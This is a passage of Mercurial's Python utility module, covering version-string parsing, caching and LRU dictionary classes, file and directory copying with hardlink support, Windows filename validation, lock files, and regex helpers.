1001 1001 If it isn't defined, the current Mercurial version string will be parsed.
1002 1002
1003 1003 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1004 1004 returned values:
1005 1005
1006 1006 >>> v = b'3.6.1+190-df9b73d2d444'
1007 1007 >>> versiontuple(v, 2)
1008 1008 (3, 6)
1009 1009 >>> versiontuple(v, 3)
1010 1010 (3, 6, 1)
1011 1011 >>> versiontuple(v, 4)
1012 1012 (3, 6, 1, '190-df9b73d2d444')
1013 1013
1014 1014 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1015 1015 (3, 6, 1, '190-df9b73d2d444+20151118')
1016 1016
1017 1017 >>> v = b'3.6'
1018 1018 >>> versiontuple(v, 2)
1019 1019 (3, 6)
1020 1020 >>> versiontuple(v, 3)
1021 1021 (3, 6, None)
1022 1022 >>> versiontuple(v, 4)
1023 1023 (3, 6, None, None)
1024 1024
1025 1025 >>> v = b'3.9-rc'
1026 1026 >>> versiontuple(v, 2)
1027 1027 (3, 9)
1028 1028 >>> versiontuple(v, 3)
1029 1029 (3, 9, None)
1030 1030 >>> versiontuple(v, 4)
1031 1031 (3, 9, None, 'rc')
1032 1032
1033 1033 >>> v = b'3.9-rc+2-02a8fea4289b'
1034 1034 >>> versiontuple(v, 2)
1035 1035 (3, 9)
1036 1036 >>> versiontuple(v, 3)
1037 1037 (3, 9, None)
1038 1038 >>> versiontuple(v, 4)
1039 1039 (3, 9, None, 'rc+2-02a8fea4289b')
1040 1040 """
1041 1041 if not v:
1042 1042 v = version()
1043 1043 parts = remod.split('[\+-]', v, 1)
1044 1044 if len(parts) == 1:
1045 1045 vparts, extra = parts[0], None
1046 1046 else:
1047 1047 vparts, extra = parts
1048 1048
1049 1049 vints = []
1050 1050 for i in vparts.split('.'):
1051 1051 try:
1052 1052 vints.append(int(i))
1053 1053 except ValueError:
1054 1054 break
1055 1055 # (3, 6) -> (3, 6, None)
1056 1056 while len(vints) < 3:
1057 1057 vints.append(None)
1058 1058
1059 1059 if n == 2:
1060 1060 return (vints[0], vints[1])
1061 1061 if n == 3:
1062 1062 return (vints[0], vints[1], vints[2])
1063 1063 if n == 4:
1064 1064 return (vints[0], vints[1], vints[2], extra)
1065 1065
1066 1066 def cachefunc(func):
1067 1067 '''cache the result of function calls'''
1068 1068 # XXX doesn't handle keywords args
1069 1069 if func.__code__.co_argcount == 0:
1070 1070 cache = []
1071 1071 def f():
1072 1072 if len(cache) == 0:
1073 1073 cache.append(func())
1074 1074 return cache[0]
1075 1075 return f
1076 1076 cache = {}
1077 1077 if func.__code__.co_argcount == 1:
1078 1078 # we gain a small amount of time because
1079 1079 # we don't need to pack/unpack the list
1080 1080 def f(arg):
1081 1081 if arg not in cache:
1082 1082 cache[arg] = func(arg)
1083 1083 return cache[arg]
1084 1084 else:
1085 1085 def f(*args):
1086 1086 if args not in cache:
1087 1087 cache[args] = func(*args)
1088 1088 return cache[args]
1089 1089
1090 1090 return f
1091 1091
1092 1092 class cow(object):
1093 1093 """helper class to make copy-on-write easier
1094 1094
1095 1095 Call preparewrite before doing any writes.
1096 1096 """
1097 1097
1098 1098 def preparewrite(self):
1099 1099 """call this before writes, return self or a copied new object"""
1100 1100 if getattr(self, '_copied', 0):
1101 1101 self._copied -= 1
1102 1102 return self.__class__(self)
1103 1103 return self
1104 1104
1105 1105 def copy(self):
1106 1106 """always do a cheap copy"""
1107 1107 self._copied = getattr(self, '_copied', 0) + 1
1108 1108 return self
1109 1109
1110 1110 class sortdict(collections.OrderedDict):
1111 1111 '''a simple sorted dictionary
1112 1112
1113 1113 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1114 1114 >>> d2 = d1.copy()
1115 1115 >>> d2
1116 1116 sortdict([('a', 0), ('b', 1)])
1117 1117 >>> d2.update([(b'a', 2)])
1118 1118 >>> list(d2.keys()) # should still be in last-set order
1119 1119 ['b', 'a']
1120 1120 '''
1121 1121
1122 1122 def __setitem__(self, key, value):
1123 1123 if key in self:
1124 1124 del self[key]
1125 1125 super(sortdict, self).__setitem__(key, value)
1126 1126
1127 1127 if pycompat.ispypy:
1128 1128 # __setitem__() isn't called as of PyPy 5.8.0
1129 1129 def update(self, src):
1130 1130 if isinstance(src, dict):
1131 1131 src = src.iteritems()
1132 1132 for k, v in src:
1133 1133 self[k] = v
1134 1134
1135 1135 class cowdict(cow, dict):
1136 1136 """copy-on-write dict
1137 1137
1138 1138 Be sure to call d = d.preparewrite() before writing to d.
1139 1139
1140 1140 >>> a = cowdict()
1141 1141 >>> a is a.preparewrite()
1142 1142 True
1143 1143 >>> b = a.copy()
1144 1144 >>> b is a
1145 1145 True
1146 1146 >>> c = b.copy()
1147 1147 >>> c is a
1148 1148 True
1149 1149 >>> a = a.preparewrite()
1150 1150 >>> b is a
1151 1151 False
1152 1152 >>> a is a.preparewrite()
1153 1153 True
1154 1154 >>> c = c.preparewrite()
1155 1155 >>> b is c
1156 1156 False
1157 1157 >>> b is b.preparewrite()
1158 1158 True
1159 1159 """
1160 1160
1161 1161 class cowsortdict(cow, sortdict):
1162 1162 """copy-on-write sortdict
1163 1163
1164 1164 Be sure to call d = d.preparewrite() before writing to d.
1165 1165 """
1166 1166
1167 1167 class transactional(object):
1168 1168 """Base class for making a transactional type into a context manager."""
1169 1169 __metaclass__ = abc.ABCMeta
1170 1170
1171 1171 @abc.abstractmethod
1172 1172 def close(self):
1173 1173 """Successfully closes the transaction."""
1174 1174
1175 1175 @abc.abstractmethod
1176 1176 def release(self):
1177 1177 """Marks the end of the transaction.
1178 1178
1179 1179 If the transaction has not been closed, it will be aborted.
1180 1180 """
1181 1181
1182 1182 def __enter__(self):
1183 1183 return self
1184 1184
1185 1185 def __exit__(self, exc_type, exc_val, exc_tb):
1186 1186 try:
1187 1187 if exc_type is None:
1188 1188 self.close()
1189 1189 finally:
1190 1190 self.release()
1191 1191
1192 1192 @contextlib.contextmanager
1193 1193 def acceptintervention(tr=None):
1194 1194 """A context manager that closes the transaction on InterventionRequired
1195 1195
1196 1196 If no transaction was provided, this simply runs the body and returns
1197 1197 """
1198 1198 if not tr:
1199 1199 yield
1200 1200 return
1201 1201 try:
1202 1202 yield
1203 1203 tr.close()
1204 1204 except error.InterventionRequired:
1205 1205 tr.close()
1206 1206 raise
1207 1207 finally:
1208 1208 tr.release()
1209 1209
1210 1210 @contextlib.contextmanager
1211 1211 def nullcontextmanager():
1212 1212 yield
1213 1213
1214 1214 class _lrucachenode(object):
1215 1215 """A node in a doubly linked list.
1216 1216
1217 1217 Holds a reference to nodes on either side as well as a key-value
1218 1218 pair for the dictionary entry.
1219 1219 """
1220 1220 __slots__ = (u'next', u'prev', u'key', u'value')
1221 1221
1222 1222 def __init__(self):
1223 1223 self.next = None
1224 1224 self.prev = None
1225 1225
1226 1226 self.key = _notset
1227 1227 self.value = None
1228 1228
1229 1229 def markempty(self):
1230 1230 """Mark the node as emptied."""
1231 1231 self.key = _notset
1232 1232
1233 1233 class lrucachedict(object):
1234 1234 """Dict that caches most recent accesses and sets.
1235 1235
1236 1236 The dict consists of an actual backing dict - indexed by original
1237 1237 key - and a doubly linked circular list defining the order of entries in
1238 1238 the cache.
1239 1239
1240 1240 The head node is the newest entry in the cache. If the cache is full,
1241 1241 we recycle head.prev and make it the new head. Cache accesses result in
1242 1242 the node being moved to before the existing head and being marked as the
1243 1243 new head node.
1244 1244 """
1245 1245 def __init__(self, max):
1246 1246 self._cache = {}
1247 1247
1248 1248 self._head = head = _lrucachenode()
1249 1249 head.prev = head
1250 1250 head.next = head
1251 1251 self._size = 1
1252 1252 self._capacity = max
1253 1253
1254 1254 def __len__(self):
1255 1255 return len(self._cache)
1256 1256
1257 1257 def __contains__(self, k):
1258 1258 return k in self._cache
1259 1259
1260 1260 def __iter__(self):
1261 1261 # We don't have to iterate in cache order, but why not.
1262 1262 n = self._head
1263 1263 for i in range(len(self._cache)):
1264 1264 yield n.key
1265 1265 n = n.next
1266 1266
1267 1267 def __getitem__(self, k):
1268 1268 node = self._cache[k]
1269 1269 self._movetohead(node)
1270 1270 return node.value
1271 1271
1272 1272 def __setitem__(self, k, v):
1273 1273 node = self._cache.get(k)
1274 1274 # Replace existing value and mark as newest.
1275 1275 if node is not None:
1276 1276 node.value = v
1277 1277 self._movetohead(node)
1278 1278 return
1279 1279
1280 1280 if self._size < self._capacity:
1281 1281 node = self._addcapacity()
1282 1282 else:
1283 1283 # Grab the last/oldest item.
1284 1284 node = self._head.prev
1285 1285
1286 1286 # At capacity. Kill the old entry.
1287 1287 if node.key is not _notset:
1288 1288 del self._cache[node.key]
1289 1289
1290 1290 node.key = k
1291 1291 node.value = v
1292 1292 self._cache[k] = node
1293 1293 # And mark it as newest entry. No need to adjust order since it
1294 1294 # is already self._head.prev.
1295 1295 self._head = node
1296 1296
1297 1297 def __delitem__(self, k):
1298 1298 node = self._cache.pop(k)
1299 1299 node.markempty()
1300 1300
1301 1301 # Temporarily mark as newest item before re-adjusting head to make
1302 1302 # this node the oldest item.
1303 1303 self._movetohead(node)
1304 1304 self._head = node.next
1305 1305
1306 1306 # Additional dict methods.
1307 1307
1308 1308 def get(self, k, default=None):
1309 1309 try:
1310 1310 return self._cache[k].value
1311 1311 except KeyError:
1312 1312 return default
1313 1313
1314 1314 def clear(self):
1315 1315 n = self._head
1316 1316 while n.key is not _notset:
1317 1317 n.markempty()
1318 1318 n = n.next
1319 1319
1320 1320 self._cache.clear()
1321 1321
1322 1322 def copy(self):
1323 1323 result = lrucachedict(self._capacity)
1324 1324 n = self._head.prev
1325 1325 # Iterate in oldest-to-newest order, so the copy has the right ordering
1326 1326 for i in range(len(self._cache)):
1327 1327 result[n.key] = n.value
1328 1328 n = n.prev
1329 1329 return result
1330 1330
1331 1331 def _movetohead(self, node):
1332 1332 """Mark a node as the newest, making it the new head.
1333 1333
1334 1334 When a node is accessed, it becomes the freshest entry in the LRU
1335 1335 list, which is denoted by self._head.
1336 1336
1337 1337 Visually, let's make ``N`` the new head node (* denotes head):
1338 1338
1339 1339 previous/oldest <-> head <-> next/next newest
1340 1340
1341 1341 ----<->--- A* ---<->-----
1342 1342 | |
1343 1343 E <-> D <-> N <-> C <-> B
1344 1344
1345 1345 To:
1346 1346
1347 1347 ----<->--- N* ---<->-----
1348 1348 | |
1349 1349 E <-> D <-> C <-> B <-> A
1350 1350
1351 1351 This requires the following moves:
1352 1352
1353 1353 C.next = D (node.prev.next = node.next)
1354 1354 D.prev = C (node.next.prev = node.prev)
1355 1355 E.next = N (head.prev.next = node)
1356 1356 N.prev = E (node.prev = head.prev)
1357 1357 N.next = A (node.next = head)
1358 1358 A.prev = N (head.prev = node)
1359 1359 """
1360 1360 head = self._head
1361 1361 # C.next = D
1362 1362 node.prev.next = node.next
1363 1363 # D.prev = C
1364 1364 node.next.prev = node.prev
1365 1365 # N.prev = E
1366 1366 node.prev = head.prev
1367 1367 # N.next = A
1368 1368 # It is tempting to do just "head" here, however if node is
1369 1369 # adjacent to head, this will do bad things.
1370 1370 node.next = head.prev.next
1371 1371 # E.next = N
1372 1372 node.next.prev = node
1373 1373 # A.prev = N
1374 1374 node.prev.next = node
1375 1375
1376 1376 self._head = node
1377 1377
1378 1378 def _addcapacity(self):
1379 1379 """Add a node to the circular linked list.
1380 1380
1381 1381 The new node is inserted before the head node.
1382 1382 """
1383 1383 head = self._head
1384 1384 node = _lrucachenode()
1385 1385 head.prev.next = node
1386 1386 node.prev = head.prev
1387 1387 node.next = head
1388 1388 head.prev = node
1389 1389 self._size += 1
1390 1390 return node
1391 1391
1392 1392 def lrucachefunc(func):
1393 1393 '''cache most recent results of function calls'''
1394 1394 cache = {}
1395 1395 order = collections.deque()
1396 1396 if func.__code__.co_argcount == 1:
1397 1397 def f(arg):
1398 1398 if arg not in cache:
1399 1399 if len(cache) > 20:
1400 1400 del cache[order.popleft()]
1401 1401 cache[arg] = func(arg)
1402 1402 else:
1403 1403 order.remove(arg)
1404 1404 order.append(arg)
1405 1405 return cache[arg]
1406 1406 else:
1407 1407 def f(*args):
1408 1408 if args not in cache:
1409 1409 if len(cache) > 20:
1410 1410 del cache[order.popleft()]
1411 1411 cache[args] = func(*args)
1412 1412 else:
1413 1413 order.remove(args)
1414 1414 order.append(args)
1415 1415 return cache[args]
1416 1416
1417 1417 return f
1418 1418
1419 1419 class propertycache(object):
1420 1420 def __init__(self, func):
1421 1421 self.func = func
1422 1422 self.name = func.__name__
1423 1423 def __get__(self, obj, type=None):
1424 1424 result = self.func(obj)
1425 1425 self.cachevalue(obj, result)
1426 1426 return result
1427 1427
1428 1428 def cachevalue(self, obj, value):
1429 1429 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1430 1430 obj.__dict__[self.name] = value
1431 1431
1432 1432 def clearcachedproperty(obj, prop):
1433 1433 '''clear a cached property value, if one has been set'''
1434 1434 if prop in obj.__dict__:
1435 1435 del obj.__dict__[prop]
1436 1436
1437 1437 def increasingchunks(source, min=1024, max=65536):
1438 1438 '''return no less than min bytes per chunk while data remains,
1439 1439 doubling min after each chunk until it reaches max'''
1440 1440 def log2(x):
1441 1441 if not x:
1442 1442 return 0
1443 1443 i = 0
1444 1444 while x:
1445 1445 x >>= 1
1446 1446 i += 1
1447 1447 return i - 1
1448 1448
1449 1449 buf = []
1450 1450 blen = 0
1451 1451 for chunk in source:
1452 1452 buf.append(chunk)
1453 1453 blen += len(chunk)
1454 1454 if blen >= min:
1455 1455 if min < max:
1456 1456 min = min << 1
1457 1457 nmin = 1 << log2(blen)
1458 1458 if nmin > min:
1459 1459 min = nmin
1460 1460 if min > max:
1461 1461 min = max
1462 1462 yield ''.join(buf)
1463 1463 blen = 0
1464 1464 buf = []
1465 1465 if buf:
1466 1466 yield ''.join(buf)
1467 1467
1468 1468 def always(fn):
1469 1469 return True
1470 1470
1471 1471 def never(fn):
1472 1472 return False
1473 1473
1474 1474 def nogc(func):
1475 1475 """disable garbage collector
1476 1476
1477 1477 Python's garbage collector triggers a GC each time a certain number of
1478 1478 container objects (the number being defined by gc.get_threshold()) are
1479 1479 allocated even when marked not to be tracked by the collector. Tracking has
1480 1480 no effect on when GCs are triggered, only on what objects the GC looks
1481 1481 into. As a workaround, disable GC while building complex (huge)
1482 1482 containers.
1483 1483
1484 1484 This garbage collector issue have been fixed in 2.7. But it still affect
1485 1485 CPython's performance.
1486 1486 """
1487 1487 def wrapper(*args, **kwargs):
1488 1488 gcenabled = gc.isenabled()
1489 1489 gc.disable()
1490 1490 try:
1491 1491 return func(*args, **kwargs)
1492 1492 finally:
1493 1493 if gcenabled:
1494 1494 gc.enable()
1495 1495 return wrapper
1496 1496
1497 1497 if pycompat.ispypy:
1498 1498 # PyPy runs slower with gc disabled
1499 1499 nogc = lambda x: x
1500 1500
1501 1501 def pathto(root, n1, n2):
1502 1502 '''return the relative path from one place to another.
1503 1503 root should use os.sep to separate directories
1504 1504 n1 should use os.sep to separate directories
1505 1505 n2 should use "/" to separate directories
1506 1506 returns an os.sep-separated path.
1507 1507
1508 1508 If n1 is a relative path, it's assumed it's
1509 1509 relative to root.
1510 1510 n2 should always be relative to root.
1511 1511 '''
1512 1512 if not n1:
1513 1513 return localpath(n2)
1514 1514 if os.path.isabs(n1):
1515 1515 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1516 1516 return os.path.join(root, localpath(n2))
1517 1517 n2 = '/'.join((pconvert(root), n2))
1518 1518 a, b = splitpath(n1), n2.split('/')
1519 1519 a.reverse()
1520 1520 b.reverse()
1521 1521 while a and b and a[-1] == b[-1]:
1522 1522 a.pop()
1523 1523 b.pop()
1524 1524 b.reverse()
1525 1525 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1526 1526
1527 1527 # the location of data files matching the source code
1528 1528 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1529 1529 # executable version (py2exe) doesn't support __file__
1530 1530 datapath = os.path.dirname(pycompat.sysexecutable)
1531 1531 else:
1532 1532 datapath = os.path.dirname(pycompat.fsencode(__file__))
1533 1533
1534 1534 i18n.setdatapath(datapath)
1535 1535
1536 1536 def checksignature(func):
1537 1537 '''wrap a function with code to check for calling errors'''
1538 1538 def check(*args, **kwargs):
1539 1539 try:
1540 1540 return func(*args, **kwargs)
1541 1541 except TypeError:
1542 1542 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1543 1543 raise error.SignatureError
1544 1544 raise
1545 1545
1546 1546 return check
1547 1547
1548 1548 # a whilelist of known filesystems where hardlink works reliably
1549 1549 _hardlinkfswhitelist = {
1550 1550 'apfs',
1551 1551 'btrfs',
1552 1552 'ext2',
1553 1553 'ext3',
1554 1554 'ext4',
1555 1555 'hfs',
1556 1556 'jfs',
1557 1557 'NTFS',
1558 1558 'reiserfs',
1559 1559 'tmpfs',
1560 1560 'ufs',
1561 1561 'xfs',
1562 1562 'zfs',
1563 1563 }
1564 1564
1565 1565 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1566 1566 '''copy a file, preserving mode and optionally other stat info like
1567 1567 atime/mtime
1568 1568
1569 1569 checkambig argument is used with filestat, and is useful only if
1570 1570 destination file is guarded by any lock (e.g. repo.lock or
1571 1571 repo.wlock).
1572 1572
1573 1573 copystat and checkambig should be exclusive.
1574 1574 '''
1575 1575 assert not (copystat and checkambig)
1576 1576 oldstat = None
1577 1577 if os.path.lexists(dest):
1578 1578 if checkambig:
1579 1579 oldstat = checkambig and filestat.frompath(dest)
1580 1580 unlink(dest)
1581 1581 if hardlink:
1582 1582 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1583 1583 # unless we are confident that dest is on a whitelisted filesystem.
1584 1584 try:
1585 1585 fstype = getfstype(os.path.dirname(dest))
1586 1586 except OSError:
1587 1587 fstype = None
1588 1588 if fstype not in _hardlinkfswhitelist:
1589 1589 hardlink = False
1590 1590 if hardlink:
1591 1591 try:
1592 1592 oslink(src, dest)
1593 1593 return
1594 1594 except (IOError, OSError):
1595 1595 pass # fall back to normal copy
1596 1596 if os.path.islink(src):
1597 1597 os.symlink(os.readlink(src), dest)
1598 1598 # copytime is ignored for symlinks, but in general copytime isn't needed
1599 1599 # for them anyway
1600 1600 else:
1601 1601 try:
1602 1602 shutil.copyfile(src, dest)
1603 1603 if copystat:
1604 1604 # copystat also copies mode
1605 1605 shutil.copystat(src, dest)
1606 1606 else:
1607 1607 shutil.copymode(src, dest)
1608 1608 if oldstat and oldstat.stat:
1609 1609 newstat = filestat.frompath(dest)
1610 1610 if newstat.isambig(oldstat):
1611 1611 # stat of copied file is ambiguous to original one
1612 1612 advanced = (
1613 1613 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1614 1614 os.utime(dest, (advanced, advanced))
1615 1615 except shutil.Error as inst:
1616 1616 raise error.Abort(str(inst))
1617 1617
1618 1618 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1619 1619 """Copy a directory tree using hardlinks if possible."""
1620 1620 num = 0
1621 1621
1622 1622 gettopic = lambda: hardlink and _('linking') or _('copying')
1623 1623
1624 1624 if os.path.isdir(src):
1625 1625 if hardlink is None:
1626 1626 hardlink = (os.stat(src).st_dev ==
1627 1627 os.stat(os.path.dirname(dst)).st_dev)
1628 1628 topic = gettopic()
1629 1629 os.mkdir(dst)
1630 1630 for name, kind in listdir(src):
1631 1631 srcname = os.path.join(src, name)
1632 1632 dstname = os.path.join(dst, name)
1633 1633 def nprog(t, pos):
1634 1634 if pos is not None:
1635 1635 return progress(t, pos + num)
1636 1636 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1637 1637 num += n
1638 1638 else:
1639 1639 if hardlink is None:
1640 1640 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1641 1641 os.stat(os.path.dirname(dst)).st_dev)
1642 1642 topic = gettopic()
1643 1643
1644 1644 if hardlink:
1645 1645 try:
1646 1646 oslink(src, dst)
1647 1647 except (IOError, OSError):
1648 1648 hardlink = False
1649 1649 shutil.copy(src, dst)
1650 1650 else:
1651 1651 shutil.copy(src, dst)
1652 1652 num += 1
1653 1653 progress(topic, num)
1654 1654 progress(topic, None)
1655 1655
1656 1656 return hardlink, num
1657 1657
1658 1658 _winreservednames = {
1659 1659 'con', 'prn', 'aux', 'nul',
1660 1660 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1661 1661 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1662 1662 }
1663 1663 _winreservedchars = ':*?"<>|'
1664 1664 def checkwinfilename(path):
1665 1665 r'''Check that the base-relative path is a valid filename on Windows.
1666 1666 Returns None if the path is ok, or a UI string describing the problem.
1667 1667
1668 1668 >>> checkwinfilename(b"just/a/normal/path")
1669 1669 >>> checkwinfilename(b"foo/bar/con.xml")
1670 1670 "filename contains 'con', which is reserved on Windows"
1671 1671 >>> checkwinfilename(b"foo/con.xml/bar")
1672 1672 "filename contains 'con', which is reserved on Windows"
1673 1673 >>> checkwinfilename(b"foo/bar/xml.con")
1674 1674 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1675 1675 "filename contains 'AUX', which is reserved on Windows"
1676 1676 >>> checkwinfilename(b"foo/bar/bla:.txt")
1677 1677 "filename contains ':', which is reserved on Windows"
1678 1678 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1679 1679 "filename contains '\\x07', which is invalid on Windows"
1680 1680 >>> checkwinfilename(b"foo/bar/bla ")
1681 1681 "filename ends with ' ', which is not allowed on Windows"
1682 1682 >>> checkwinfilename(b"../bar")
1683 1683 >>> checkwinfilename(b"foo\\")
1684 1684 "filename ends with '\\', which is invalid on Windows"
1685 1685 >>> checkwinfilename(b"foo\\/bar")
1686 1686 "directory name ends with '\\', which is invalid on Windows"
1687 1687 '''
1688 1688 if path.endswith('\\'):
1689 1689 return _("filename ends with '\\', which is invalid on Windows")
1690 1690 if '\\/' in path:
1691 1691 return _("directory name ends with '\\', which is invalid on Windows")
1692 1692 for n in path.replace('\\', '/').split('/'):
1693 1693 if not n:
1694 1694 continue
1695 1695 for c in _filenamebytestr(n):
1696 1696 if c in _winreservedchars:
1697 1697 return _("filename contains '%s', which is reserved "
1698 1698 "on Windows") % c
1699 1699 if ord(c) <= 31:
1700 1700 return _("filename contains '%s', which is invalid "
1701 1701 "on Windows") % stringutil.escapestr(c)
1702 1702 base = n.split('.')[0]
1703 1703 if base and base.lower() in _winreservednames:
1704 1704 return _("filename contains '%s', which is reserved "
1705 1705 "on Windows") % base
1706 1706 t = n[-1:]
1707 1707 if t in '. ' and n not in '..':
1708 1708 return _("filename ends with '%s', which is not allowed "
1709 1709 "on Windows") % t
1710 1710
1711 1711 if pycompat.iswindows:
1712 1712 checkosfilename = checkwinfilename
1713 1713 timer = time.clock
1714 1714 else:
1715 1715 checkosfilename = platform.checkosfilename
1716 1716 timer = time.time
1717 1717
1718 1718 if safehasattr(time, "perf_counter"):
1719 1719 timer = time.perf_counter
1720 1720
1721 1721 def makelock(info, pathname):
1722 1722 """Create a lock file atomically if possible
1723 1723
1724 1724 This may leave a stale lock file if symlink isn't supported and signal
1725 1725 interrupt is enabled.
1726 1726 """
1727 1727 try:
1728 1728 return os.symlink(info, pathname)
1729 1729 except OSError as why:
1730 1730 if why.errno == errno.EEXIST:
1731 1731 raise
1732 1732 except AttributeError: # no symlink in os
1733 1733 pass
1734 1734
1735 1735 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1736 1736 ld = os.open(pathname, flags)
1737 1737 os.write(ld, info)
1738 1738 os.close(ld)
1739 1739
1740 1740 def readlock(pathname):
1741 1741 try:
1742 1742 return os.readlink(pathname)
1743 1743 except OSError as why:
1744 1744 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1745 1745 raise
1746 1746 except AttributeError: # no symlink in os
1747 1747 pass
1748 1748 fp = posixfile(pathname, 'rb')
1749 1749 r = fp.read()
1750 1750 fp.close()
1751 1751 return r
1752 1752
1753 1753 def fstat(fp):
1754 1754 '''stat file object that may not have fileno method.'''
1755 1755 try:
1756 1756 return os.fstat(fp.fileno())
1757 1757 except AttributeError:
1758 1758 return os.stat(fp.name)
1759 1759
1760 1760 # File system features
1761 1761
1762 1762 def fscasesensitive(path):
1763 1763 """
1764 1764 Return true if the given path is on a case-sensitive filesystem
1765 1765
1766 1766 Requires a path (like /foo/.hg) ending with a foldable final
1767 1767 directory component.
1768 1768 """
1769 1769 s1 = os.lstat(path)
1770 1770 d, b = os.path.split(path)
1771 1771 b2 = b.upper()
1772 1772 if b == b2:
1773 1773 b2 = b.lower()
1774 1774 if b == b2:
1775 1775 return True # no evidence against case sensitivity
1776 1776 p2 = os.path.join(d, b2)
1777 1777 try:
1778 1778 s2 = os.lstat(p2)
1779 1779 if s2 == s1:
1780 1780 return False
1781 1781 return True
1782 1782 except OSError:
1783 1783 return True
1784 1784
1785 1785 try:
1786 1786 import re2
1787 1787 _re2 = None
1788 1788 except ImportError:
1789 1789 _re2 = False
1790 1790
1791 1791 class _re(object):
1792 1792 def _checkre2(self):
1793 1793 global _re2
1794 1794 try:
1795 1795 # check if match works, see issue3964
1796 1796 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1797 1797 except ImportError:
1798 1798 _re2 = False
1799 1799
1800 1800 def compile(self, pat, flags=0):
1801 1801 '''Compile a regular expression, using re2 if possible
1802 1802
1803 1803 For best performance, use only re2-compatible regexp features. The
1804 1804 only flags from the re module that are re2-compatible are
1805 1805 IGNORECASE and MULTILINE.'''
1806 1806 if _re2 is None:
1807 1807 self._checkre2()
1808 1808 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1809 1809 if flags & remod.IGNORECASE:
1810 1810 pat = '(?i)' + pat
1811 1811 if flags & remod.MULTILINE:
1812 1812 pat = '(?m)' + pat
1813 1813 try:
1814 1814 return re2.compile(pat)
1815 1815 except re2.error:
1816 1816 pass
1817 1817 return remod.compile(pat, flags)
1818 1818
1819 1819 @propertycache
1820 1820 def escape(self):
1821 1821 '''Return the version of escape corresponding to self.compile.
1822 1822
1823 1823 This is imperfect because whether re2 or re is used for a particular
1824 1824 function depends on the flags, etc, but it's the best we can do.
1825 1825 '''
1826 1826 global _re2
1827 1827 if _re2 is None:
1828 1828 self._checkre2()
1829 1829 if _re2:
1830 1830 return re2.escape
1831 1831 else:
1832 1832 return remod.escape
1833 1833
1834 1834 re = _re()
1835 1835
1836 1836 _fspathcache = {}
1837 1837 def fspath(name, root):
1838 1838 '''Get name in the case stored in the filesystem
1839 1839
1840 1840 The name should be relative to root, and be normcase-ed for efficiency.
1841 1841
1842 1842 Note that this function is unnecessary, and should not be
1843 1843 called, for case-sensitive filesystems (simply because it's expensive).
1844 1844
1845 1845 The root should be normcase-ed, too.
1846 1846 '''
1847 1847 def _makefspathcacheentry(dir):
1848 1848 return dict((normcase(n), n) for n in os.listdir(dir))
1849 1849
1850 1850 seps = pycompat.ossep
1851 1851 if pycompat.osaltsep:
1852 1852 seps = seps + pycompat.osaltsep
1853 1853 # Protect backslashes. This gets silly very quickly.
1854 1854 seps.replace('\\','\\\\')
1855 1855 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1856 1856 dir = os.path.normpath(root)
1857 1857 result = []
1858 1858 for part, sep in pattern.findall(name):
1859 1859 if sep:
1860 1860 result.append(sep)
1861 1861 continue
1862 1862
1863 1863 if dir not in _fspathcache:
1864 1864 _fspathcache[dir] = _makefspathcacheentry(dir)
1865 1865 contents = _fspathcache[dir]
1866 1866
1867 1867 found = contents.get(part)
1868 1868 if not found:
1869 1869 # retry "once per directory" per "dirstate.walk" which
1870 1870 # may take place for each patches of "hg qpush", for example
1871 1871 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1872 1872 found = contents.get(part)
1873 1873
1874 1874 result.append(found or part)
1875 1875 dir = os.path.join(dir, part)
1876 1876
1877 1877 return ''.join(result)
1878 1878
1879 1879 def checknlink(testfile):
1880 1880 '''check whether hardlink count reporting works properly'''
1881 1881
1882 1882 # testfile may be open, so we need a separate file for checking to
1883 1883 # work around issue2543 (or testfile may get lost on Samba shares)
1884 1884 f1, f2, fp = None, None, None
1885 1885 try:
1886 1886 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1887 1887 suffix='1~', dir=os.path.dirname(testfile))
1888 1888 os.close(fd)
1889 1889 f2 = '%s2~' % f1[:-2]
1890 1890
1891 1891 oslink(f1, f2)
1892 1892 # nlinks() may behave differently for files on Windows shares if
1893 1893 # the file is open.
1894 1894 fp = posixfile(f2)
1895 1895 return nlinks(f2) > 1
1896 1896 except OSError:
1897 1897 return False
1898 1898 finally:
1899 1899 if fp is not None:
1900 1900 fp.close()
1901 1901 for f in (f1, f2):
1902 1902 try:
1903 1903 if f is not None:
1904 1904 os.unlink(f)
1905 1905 except OSError:
1906 1906 pass
1907 1907
1908 1908 def endswithsep(path):
1909 1909 '''Check path ends with os.sep or os.altsep.'''
1910 1910 return (path.endswith(pycompat.ossep)
1911 1911 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1912 1912
1913 1913 def splitpath(path):
1914 1914 '''Split path by os.sep.
1915 1915 Note that this function does not use os.altsep because this is
1916 1916 an alternative of simple "xxx.split(os.sep)".
1917 1917 It is recommended to use os.path.normpath() before using this
1918 1918 function if need.'''
1919 1919 return path.split(pycompat.ossep)
1920 1920
1921 1921 def mktempcopy(name, emptyok=False, createmode=None):
1922 1922 """Create a temporary file with the same contents from name
1923 1923
1924 1924 The permission bits are copied from the original file.
1925 1925
1926 1926 If the temporary file is going to be truncated immediately, you
